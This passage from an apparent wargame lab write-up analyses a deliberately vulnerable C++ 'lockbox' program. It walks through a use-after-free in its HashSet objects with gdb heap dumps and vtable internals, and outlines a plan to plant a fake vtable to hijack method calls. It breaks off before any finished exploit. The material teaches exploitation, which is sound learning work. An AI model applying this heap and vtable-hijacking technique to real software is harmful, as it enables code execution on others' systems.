this-&gt;set_data&#x5B;index] = val;\r\n}\r\n\r\ntemplate&lt;class T, class HashFunc&gt;\r\nunsigned int\r\nHashSet&lt;T, HashFunc&gt;::find(T val)\r\n{\r\n    return this-&gt;m_hash(val) % this-&gt;m_size;\r\n}\r\n\r\ntemplate&lt;class T, class HashFunc&gt;\r\nT\r\nHashSet&lt;T, HashFunc&gt;::get(unsigned int index)\r\n{\r\n    if (index &gt;= m_size) {\r\n        std::cout &lt;&lt; &quot;Invalid index&quot; &lt;&lt; std::endl;\r\n        return T();\r\n    }\r\n    return set_data&#x5B;index];\r\n}\r\n\r\n\/********* Storage interface implementation **********\/\r\nvoid\r\ndo_new_set(hashset_int **set_vec)\r\n{\r\n    int bin = -1;\r\n    int choice = -1;\r\n    std::cout &lt;&lt; &quot;Which lockbox do you want?: &quot;;\r\n    bin = get_unum();\r\n    if (bin &lt; 0) {\r\n        std::cout &lt;&lt; &quot;Invalid set ID!&quot; &lt;&lt; std::endl;\r\n        return;\r\n    } else if (bin &gt;= SIZE_HASHSET_VEC) {\r\n        std::cout &lt;&lt; &quot;No more room!&quot; &lt;&lt; std::endl;\r\n        return;\r\n    }\r\n    std::cout &lt;&lt; &quot;How many items will you store?: &quot;;\r\n    choice = get_unum();\r\n    set_vec&#x5B;bin] = new hashset_int(choice);\r\n}\r\n\r\nvoid\r\ndo_add_item(hashset_int **set_vec)\r\n{\r\n    int set_id = -1;\r\n    int item_val = -1;\r\n\r\n    std::cout &lt;&lt; &quot;Which lockbox?: &quot;;\r\n    set_id = get_unum();\r\n    if (set_id &lt; 0 || set_id &gt;= SIZE_HASHSET_VEC) {\r\n        std::cout &lt;&lt; &quot;Invalid set ID!&quot; &lt;&lt; std::endl;\r\n        return;\r\n    }\r\n\r\n    std::cout &lt;&lt; &quot;Item value: &quot;;\r\n    item_val = get_unum();\r\n    set_vec&#x5B;set_id]-&gt;add(item_val);\r\n}\r\n\r\nvoid\r\ndo_find_item(hashset_int **set_vec)\r\n{\r\n    int set_id = -1;\r\n    int item_val = -1;\r\n    int item_index = -1;\r\n\r\n    std::cout &lt;&lt; &quot;Which lockbox?: &quot;;\r\n    set_id = get_unum();\r\n    if (set_id &lt; 0 || set_id &gt;= SIZE_HASHSET_VEC) {\r\n        std::cout &lt;&lt; &quot;Invalid set ID!&quot; &lt;&lt; std::endl;\r\n        return;\r\n    }\r\n\r\n    std::cout &lt;&lt; &quot;Item value: &quot;;\r\n    item_val = get_unum();\r\n    item_index = set_vec&#x5B;set_id]-&gt;find(item_val);\r\n    if (item_index == -1) {\r\n        std::cout &lt;&lt; &quot;Item not found!&quot; &lt;&lt; std::endl;\r\n    } else {\r\n        std::cout &lt;&lt; &quot;Item Found&quot; &lt;&lt; std::endl;\r\n        printf(&quot;lockbox&#x5B;%d] = %d\\n&quot;, item_index, set_vec&#x5B;set_id]-&gt;get(item_index));\r\n    }\r\n}\r\n\r\nvoid\r\ndo_del_set(hashset_int **set_vec)\r\n{\r\n    int del_id;\r\n    std::cout &lt;&lt; &quot;Which set?: &quot;;\r\n    del_id = get_unum();\r\n    if (del_id &lt; 0 || del_id &gt;= SIZE_HASHSET_VEC) {\r\n        std::cout &lt;&lt; &quot;Invalid ID!&quot; &lt;&lt; std::endl;\r\n        return;\r\n     }\r\n    delete set_vec&#x5B;del_id];\r\n}\r\n\r\nint\r\nmain(int argc, char *argv&#x5B;])\r\n{\r\n    hashset_int **set_vec = new hashset_int*&#x5B;SIZE_HASHSET_VEC];\r\n    int choice = -1;\r\n    bool done = false;\r\n    disable_buffering(stdout);\r\n\r\n    while (!done) {\r\n        print_menu();\r\n        std::cout &lt;&lt; &quot;Enter choice: &quot;;\r\n        choice = get_unum();\r\n        switch (choice) {\r\n        case 1:\r\n            do_new_set(set_vec);\r\n            break;\r\n        case 2:\r\n            do_add_item(set_vec);\r\n            break;\r\n        case 3:\r\n            do_find_item(set_vec);\r\n            break;\r\n        case 4:\r\n            do_del_set(set_vec);\r\n            break;\r\n        case 5:\r\n            done = true;\r\n            break;\r\n        default:\r\n            puts(&quot;Invalid option!&quot;);\r\n            break;\r\n        }\r\n    }\r\n\r\n    delete &#x5B;] set_vec;\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; At first a class called <code>hash_num<\/code> is declared (line 35). This class simply takes an unsigned integer (<code>key<\/code>) and returns it.<br \/>\n&#8211;&gt; A template class called <code>HashSet<\/code> is declared on lines 45-57.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; This class has three attributes: an <code>unsigned int<\/code> (<code>m_size<\/code>), a <code>class HashFunc<\/code> (<code>m_hash<\/code>) and template pointer (<code>set_data<\/code>) (lines 54-56).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The constructor takes the size as argument, which is used to allocate a new array of the template type using the keyword <code>new<\/code> (line 48).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Within the destructor the allocated array is freed again using the keyword <code>delete<\/code> (line 49).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; There are three methods: <code>add<\/code>, <code>find<\/code> and <code>get<\/code> (lines 50-52).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>add<\/code> (line 62) takes one argument which is stored in the array <code>set_data<\/code>. The index where the value is stored within the array is determined by the return value of <code>m_hash(val)<\/code> modulo <code>m_size<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>find<\/code> (line 70) returns the index being used in <code>add<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>get<\/code> (line 77) returns the value of <code>set_data<\/code> at the index being passed.<br \/>\n&#8211;&gt; On line 58 there is a typedef for <code>HashSet<\/code> called <code>hashset_int<\/code> binding the template type to <code>int<\/code> and using the <code>HashFunc<\/code> <code>hash_num<\/code>.<br \/>\n&#8211;&gt; Within the <code>main<\/code> function (line 163) an array called <code>set_vec<\/code> and holding <code>hashset_int<\/code> pointers is initialized (line 165).<br \/>\n&#8211;&gt; After this the program displays a menu letting the user call on of the following functions:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; 1. <code>do_new_set<\/code> (line 88): create a new instance of <code>hashset_int<\/code> with the user provided size and store it within <code>set_vec<\/code> at the user provided index.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; 2. <code>do_add_item<\/code> (line 107): store the user provided value in the <code>hashset_int<\/code> instance referenced by the user provided index.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; 3. <code>do_find_item<\/code> (line 125): get the <code>set_data<\/code> index of the user provided value using the method <code>find<\/code> and printing the corresponding value.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; 4. <code>do_del_set<\/code> (line 150): delete the <code>hashset_int<\/code> instance referenced by the user provided index.<\/p>\n<p>Yet again the challenge is remote:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ cat lab9A.readme\r\nnc wargame.server.example 9941\r\n<\/pre>\n<p>Where is the vulnerability within the program?<\/p>\n<p>The keywords <code>new<\/code> and <code>delete<\/code> are the C++ equivalents to the C-functions <code>malloc<\/code> and <code>free<\/code>. As we have already seen in <a href=\"https:\/\/devel0pment.de\/?p=386#lab7C\">lab7C<\/a> an application might be prone to a <i>Use After Free<\/i> vulnerability if a pointer is not set to <code>NULL<\/code> after the memory it is pointing to has been deallocated. This is true for both <code>malloc<\/code> and <code>delete<\/code>. Within the above code in the function <code>do_del_set<\/code> the memory allocated for the <code>hashset_int<\/code> instance is freed but the pointer within the array <code>set_vec<\/code> still references the deallocated memory (line 159). Let's verify this assumption using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,13,14,15,24]; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ gdb lab9A\r\nReading symbols from lab9A...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 10\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$\r\n<\/pre>\n<p>I opened a lockbox at index <code>0<\/code> with the size <code>10<\/code> and paused the execution with <code>Ctrl+C<\/code>.<\/p>\n<p>The array <code>set_vec<\/code> as well the <code>hashset_int<\/code> instance should be stored on the heap now:<\/p>\n<pre class=\"brush: cpp; first-line: 165; title: ; notranslate\" title=\"\">\r\n    hashset_int **set_vec = new hashset_int*&#x5B;SIZE_HASHSET_VEC];\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 103; title: ; notranslate\" title=\"\">\r\n    set_vec&#x5B;bin] = new hashset_int(choice);\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; highlight: [1,9,12,13,16]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ i proc mappings\r\nprocess 30743\r\nMapped address spaces:\r\n\r\n        Start Addr   End Addr       Size     Offset objfile\r\n         0x8048000  0x804a000     0x2000        0x0 \/levels\/lab09\/lab9A\r\n         0x804a000  0x804b000     0x1000     0x1000 \/levels\/lab09\/lab9A\r\n         0x804b000  0x804c000     0x1000     0x2000 \/levels\/lab09\/lab9A\r\n         0x804c000  0x806d000    0x21000        0x0 &#x5B;heap]\r\n         ...\r\n\t\t \r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x00000000\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x0000000a      0x00000000      0x0804c048\r\n0x804c040:      0x00000000      0x00000031      0x00000000      0x00000000\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00020f91      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>The heap begins at <code>0x804c000<\/code>. Remember that each heap chunk consists of:<br \/>\n&#8211;&gt; 4 bytes previous chunk size<br \/>\n&#8211;&gt; 4 bytes chunk size + flags<br \/>\n&#8211;&gt; actual data<\/p>\n<p>The first chunk on the heap which data begins at <code>0x804c008<\/code> is the array <code>set_vec<\/code>. The array contains only one pointer at index 0: <code>0x0804c030<\/code>. This is the lockbox we just added. Considering the class declaration we can determine what each value is:<\/p>\n<pre class=\"brush: cpp; first-line: 46; title: ; notranslate\" title=\"\">\r\nclass HashSet {\r\n    public:\r\n        HashSet(unsigned int size) : m_size(size), set_data(new T&#x5B;size]) {}\r\n        virtual ~HashSet() { delete &#x5B;] set_data; }\r\n        virtual void add(T val);\r\n        virtual unsigned int find(T val);\r\n        virtual T get(unsigned int);\r\n    private:\r\n        unsigned int m_size;\r\n        HashFunc m_hash;\r\n        T *set_data;\r\n};\r\n<\/pre>\n<pre>\r\n0x804c028:  0x00000000   --> heap meta data: previous chunk size\r\n0x804c02c:  0x00000019   --> heap meta data: chunk size + flags\r\n0x804c030:  0x08049aa8   --> vtable of hashset_int\r\n0x804c034:  0x0000000a   --> m_size\r\n0x804c038:  0x00000000   --> m_hash\r\n0x804c03c:  0x0804c048   --> set_data\r\n----------------------------------------------------------------\r\n0x804c040:  0x00000000   --> heap meta data: previous chunk size\r\n0x804c044:  0x00000031   --> heap meta data: chunk size + flags\r\n0x804c048:  0x00000000   --> set_data[0]\r\n0x804c04c:  0x00000000   --> set_data[1]\r\n0x804c050:  0x00000000   --> set_data[2]\r\n...\r\n<\/pre>\n<p>As you can see the first 4 bytes of the <code>hashset_int<\/code> instance is an address: <code>0x08049aa8<\/code>. This is the <i>Virtual Table (vtable)<\/i> of the class <code>hashset_int<\/code>. The vtable contains a function pointer for each method of the class:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/8xw 0x08049aa8\r\n0x8049aa8 &lt;_ZTV7HashSetIi8hash_numE+8&gt;:  0x080496e0      0x0804971e      0x08049618      0x08049660\r\n0x8049ab8 &lt;_ZTV7HashSetIi8hash_numE+24&gt;: 0x08049692      0x73614837      0x74655368      0x68386949\r\n<\/pre>\n<p>The constructor at <code>0x080496e0<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 48; title: ; notranslate\" title=\"\">\r\n        HashSet(unsigned int size) : m_size(size), set_data(new T&#x5B;size]) {}\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/3i 0x080496e0\r\n   0x80496e0 &lt;_ZN7HashSetIi8hash_numED2Ev&gt;:     push   ebp\r\n   0x80496e1 &lt;_ZN7HashSetIi8hash_numED2Ev+1&gt;:   mov    ebp,esp\r\n   0x80496e3 &lt;_ZN7HashSetIi8hash_numED2Ev+3&gt;:   sub    esp,0x18\r\n<\/pre>\n<p>The destructor at <code>0x0804971e<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 49; title: ; notranslate\" title=\"\">\r\n        virtual ~HashSet() { delete &#x5B;] set_data; }\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/3i 0x0804971e\r\n   0x804971e &lt;_ZN7HashSetIi8hash_numED0Ev&gt;:     push   ebp\r\n   0x804971f &lt;_ZN7HashSetIi8hash_numED0Ev+1&gt;:   mov    ebp,esp\r\n   0x8049721 &lt;_ZN7HashSetIi8hash_numED0Ev+3&gt;:   sub    esp,0x18\r\n<\/pre>\n<p>The method <code>add<\/code> at <code>0x08049618<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 50; title: ; notranslate\" title=\"\">\r\n        virtual void add(T val);\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/3i 0x08049618\r\n   0x8049618 &lt;_ZN7HashSetIi8hash_numE3addEi&gt;:   push   ebp\r\n   0x8049619 &lt;_ZN7HashSetIi8hash_numE3addEi+1&gt;: mov    ebp,esp\r\n   0x804961b &lt;_ZN7HashSetIi8hash_numE3addEi+3&gt;: sub    esp,0x28\r\n<\/pre>\n<p>The method <code>find<\/code> at <code>0x08049660<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 51; title: ; notranslate\" title=\"\">\r\n        virtual unsigned int find(T val);\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/3i 0x08049660\r\n   0x8049660 &lt;_ZN7HashSetIi8hash_numE4findEi&gt;:  push   ebp\r\n   0x8049661 &lt;_ZN7HashSetIi8hash_numE4findEi+1&gt;:        mov    ebp,esp\r\n   0x8049663 &lt;_ZN7HashSetIi8hash_numE4findEi+3&gt;:        sub    esp,0x28\r\n<\/pre>\n<p>The method <code>get<\/code> at <code>0x08049692<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 52; title: ; notranslate\" title=\"\">\r\n        virtual T get(unsigned int);\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/3i 0x08049692\r\n   0x8049692 &lt;_ZN7HashSetIi8hash_numE3getEj&gt;:   push   ebp\r\n   0x8049693 &lt;_ZN7HashSetIi8hash_numE3getEj+1&gt;: mov    ebp,esp\r\n   0x8049695 &lt;_ZN7HashSetIi8hash_numE3getEj+3&gt;: sub    esp,0x18\r\n<\/pre>\n<p>This vtable is necessary when a class contains <code>virtual<\/code> methods because these methods may be overwritten by an inheriting class. If an object is referenced by a base class pointer the compiler cannot know the actual class affiliation of the object at compile time. By using a vtable this problem is solved during runtime. Consider the following example:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nclass Animal {\r\n  public:\r\n    ...\r\n\tvirtual void makeNoise() { printf(&quot;generic noise.\\n&quot;); }\r\n\t...\r\n};\r\n\r\nclass Dog : public Animal {\r\n  public:\r\n    ...\r\n\tvirtual void makeNoise() { printf(&quot;bark bark\\n&quot;); }\r\n\r\n};\r\n\r\n...\r\n\r\nvoid triggerNoise(Animal *obj) {\r\n\r\n  obj-&gt;makeNoise(); \/\/ is obj a generic Animal? or a Dog? or something else?\r\n  \r\n}\r\n<\/pre>\n<p>As the <code>triggerNoise<\/code> function is passed a base class pointer it cannot be determined during compile time to which class <code>obj<\/code> actually belongs. Because of this each object contains the vtable of the class it belongs to. The method call is then made through the vtable. An example is the <code>add<\/code> call in <code>do_add_item<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 107; title: ; notranslate\" title=\"\">\r\ndo_add_item(hashset_int **set_vec)\r\n{\r\n    ...\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 121; title: ; notranslate\" title=\"\">\r\n    set_vec&#x5B;set_id]-&gt;add(item_val);\r\n}\r\n<\/pre>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble _Z11do_add_itemPP7HashSetIi8hash_numE\r\nDump of assembler code for function _Z11do_add_itemPP7HashSetIi8hash_numE:\r\n   ...\r\n   0x08049254 &lt;+141&gt;:   mov    eax,DWORD PTR &#x5B;eax]\r\n   0x08049256 &lt;+143&gt;:   mov    eax,DWORD PTR &#x5B;eax]\r\n   0x08049258 &lt;+145&gt;:   add    eax,0x8\r\n   0x0804925b &lt;+148&gt;:   mov    eax,DWORD PTR &#x5B;eax]\r\n   ...\r\n   0x08049278 &lt;+177&gt;:   call   eax\r\n   0x0804927a &lt;+179&gt;:   leave\r\n   0x0804927b &lt;+180&gt;:   ret\r\nEnd of assembler dump.\r\n<\/pre>\n<p>With the example from above <code>eax<\/code> contains the address of the <code>set_vec<\/code> array entry: <code>0x804c008<\/code>.<\/p>\n<p>After the first line...<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n   0x08049254 &lt;+141&gt;:   mov    eax,DWORD PTR &#x5B;eax]\r\n<\/pre>\n<p>... <code>eax<\/code> contains the value stored at this address: <code>0x804c030<\/code>. This is the address of the object.<\/p>\n<p>After the next line...<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n   0x08049256 &lt;+143&gt;:   mov    eax,DWORD PTR &#x5B;eax]\r\n<\/pre>\n<p>... <code>eax<\/code> contains the first 4 bytes of the object: the vtable (<code>0x8049aa8<\/code>)!<\/p>\n<p>Since <code>add<\/code> is the third entry within the vtable <code>eax<\/code> is incremented by 8:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n   0x08049258 &lt;+145&gt;:   add    eax,0x8\r\n<\/pre>\n<p>After this <code>eax<\/code> contains the address of the third entry in the vtable: <code>0x8049ab0<\/code>.<\/p>\n<p>Now the value stored there is loaded to <code>eax<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n   0x0804925b &lt;+148&gt;:   mov    eax,DWORD PTR &#x5B;eax]\r\n<\/pre>\n<p>Finally <code>eax<\/code> contains the address of the method <code>add<\/code> (<code>0x80496e0<\/code>) and the call can be made:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n   0x08049278 &lt;+177&gt;:   call   eax\r\n<\/pre>\n<p>After this little excursus let's get back to verification of our assumption that the <code>hashset_int<\/code> instances can be accessed even after deletion:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,4,13,14,16,17,20]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n4\r\nWhich set?: 0\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x00000000\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x00000000      0x0000000a      0x00000000      0x0804c048\r\n0x804c040:      0x00000000      0x00000031      0x00000000      0x00000000\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00020f91      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n...\r\n<\/pre>\n<p>I selected <code>4. Destroy your lockbox and items in it<\/code> to deallocate the <code>hashset_int<\/code> instance. As we suspected the <code>set_vec<\/code> array on the heap still contains the pointer to the object: <code>0x0804c030<\/code>. You can also see that the first 4 bytes of the object at <code>0x804c030<\/code> have been set to <code>0x00000000<\/code>. Because this is where the vtable was stored, it comes as little surprise that a subsequent call to <code>add<\/code> does not succeed:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,2,3,4,5,7,23,39]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\nWhich lockbox?: 0\r\nItem value: 1337\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x8\r\nEBX: 0xb7ec3000 --&gt; 0x1a9da8\r\nECX: 0xb7ec48a4 --&gt; 0x0\r\nEDX: 0x0\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6c8 --&gt; 0xbffff6f8 --&gt; 0x0\r\nESP: 0xbffff6a0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:       push   ebx)\r\nEIP: 0x804925b (&lt;_Z11do_add_itemPP7HashSetIi8hash_numE+148&gt;:    mov    eax,DWORD PTR &#x5B;eax])\r\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8049254 &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+141&gt;:       mov    eax,DWORD PTR &#x5B;eax]\r\n   0x8049256 &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+143&gt;:       mov    eax,DWORD PTR &#x5B;eax]\r\n   0x8049258 &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+145&gt;:       add    eax,0x8\r\n=&gt; 0x804925b &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+148&gt;:       mov    eax,DWORD PTR &#x5B;eax]\r\n   0x804925d &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+150&gt;:       mov    edx,DWORD PTR &#x5B;ebp-0x10]\r\n   0x8049260 &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+153&gt;:       lea    ecx,&#x5B;edx*4+0x0]\r\n   0x8049267 &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+160&gt;:       mov    edx,DWORD PTR &#x5B;ebp+0x8]\r\n   0x804926a &lt;_Z11do_add_itemPP7HashSetIi8hash_numE+163&gt;:       add    edx,ecx\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6a0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:      push   ebx)\r\n0004| 0xbffff6a4 --&gt; 0x8049a02 (&quot;Item value: &quot;)\r\n0008| 0xbffff6a8 --&gt; 0xbffff6f8 --&gt; 0x0\r\n0012| 0xbffff6ac --&gt; 0xb7f693f5 (&lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+53&gt;:  add    esp,0x10)\r\n0016| 0xbffff6b0 --&gt; 0x804b0c0 --&gt; 0xb7fc366c --&gt; 0xb7f68000 (&lt;_ZNSoD1Ev&gt;:      push   ebx)\r\n0020| 0xbffff6b4 --&gt; 0x8049a55 (&quot;Enter choice: &quot;)\r\n0024| 0xbffff6b8 --&gt; 0x0\r\n0028| 0xbffff6bc --&gt; 0x539\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n<\/pre>\n<p>Segmentation fault. The instruction which caused the segmentation fault tried to read the third entry from the vtable. Since the vtable was set to <code>0x00000000<\/code> the third entry resulted in the invalid address <code>0x08<\/code> (see <code>eax<\/code>).<\/p>\n<p>What conclusions can we draw from our previous examinations?<br \/>\n&#8211;&gt; Deallocated instances are still referenced and can be accessed just as allocated instances.<br \/>\n&#8211;&gt; If we manage to overwrite the vtable of an deallocated instance, this vtable address will be used on a method call.<br \/>\n&#8211;&gt; If we store a fake vtable at this address and set it up appropriately, we can trigger any function we would like to call.<\/p>\n<p>In order to set up the heap appropriately a basic understanding of the heap memory management is required:<br \/>\n&#8211;&gt; When possible deallocated memory chunks on the heap are coalesced.<br \/>\n&#8211;&gt; Deallocated heap chunks in between allocated memory are stored in data structures called <i>bins<\/i>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <i>bins<\/i> are linked lists of deallocated chunks.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The head pointers of these lists are stored in the <i>main area<\/i> within the libc.<br \/>\n&#8211;&gt; Small deallocated heap chunks (from 16 to 80 bytes) are stored in <i>fastbins<\/i>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; There are 10 <i>fastbins<\/i>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <i>fastbins<\/i> are singly linked lists and thus only hold a forward pointer (FD).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <i>fastbins<\/i> are not coalesced.<\/p>\n<p>It is not necessary to understand all details in order to finish this level, but it does not harm anyway. If you would like to know more about the libc heap management I recommend <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/02\/10\/understanding-glibc-malloc\/\" target=\"_blank\" rel=\"noopener\">this article<\/a>. <\/p>\n<p>At first let's start by playing around a little bit with the memory on the heap allocating \/ deallocating <code>hashset_int<\/code> instances with the goal in mind to overwrite the vtable of a deallocated instance:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,11,12,13,15,16,17,19,20,23,26,33]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9A\r\n+----------- clark's improved item storage -----------+\r\n| &#x5B; -- Now using HashSets for insta-access to items!  |\r\n| 1. Open a lockbox                                   |\r\n| 2. Add an item to a lockbox                         |\r\n| 3. Get an item from a lockbox                       |\r\n| 4. Destroy your lockbox and items in it             |\r\n| 5. Exit                                             |\r\n+-----------------------------------------------------+\r\nEnter choice: 1\r\nWhich lockbox do you want?: 0\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: 1\r\nWhich lockbox do you want?: 1\r\nHow many items will you store?: 20\r\n...\r\nEnter choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/100xw 0x804c000\r\n0x804c000:      0x00000000      0x00000029      0x0804c030      0x0804c0a0\r\n0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c020:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c030:      0x08049aa8      0x00000014      0x00000000      0x0804c048\r\n0x804c040:      0x00000000      0x00000059      0x00000000      0x00000000\r\n0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c090:      0x00000000      0x00000000      0x00000000      0x00000019\r\n0x804c0a0:      0x08049aa8      0x00000014      0x00000000      0x0804c0b8\r\n0x804c0b0:      0x00000000      0x00000059      0x00000000      0x00000000\r\n0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c0e0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c0f0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x804c100:      0x00000000      0x00000000      0x00000000      0x00020ef9\r\n...\r\n<\/pre>\n<p>I created two <code>hashset_int<\/code> instances with a size of 20. We can see both instances on the heap: the first one being located at <code>0x804c030<\/code> and the second one being located at <code>0x0804c0a0<\/code>. The first 4 bytes of both instances is the vtable of <code>hashset_int<\/code> stored at <code>0x08049aa8<\/code>.<\/p>\n<p>Now let's deallocate these instances and create a new, smaller one:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,4,6,7,9,10,11,13,14,16,17,20]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ 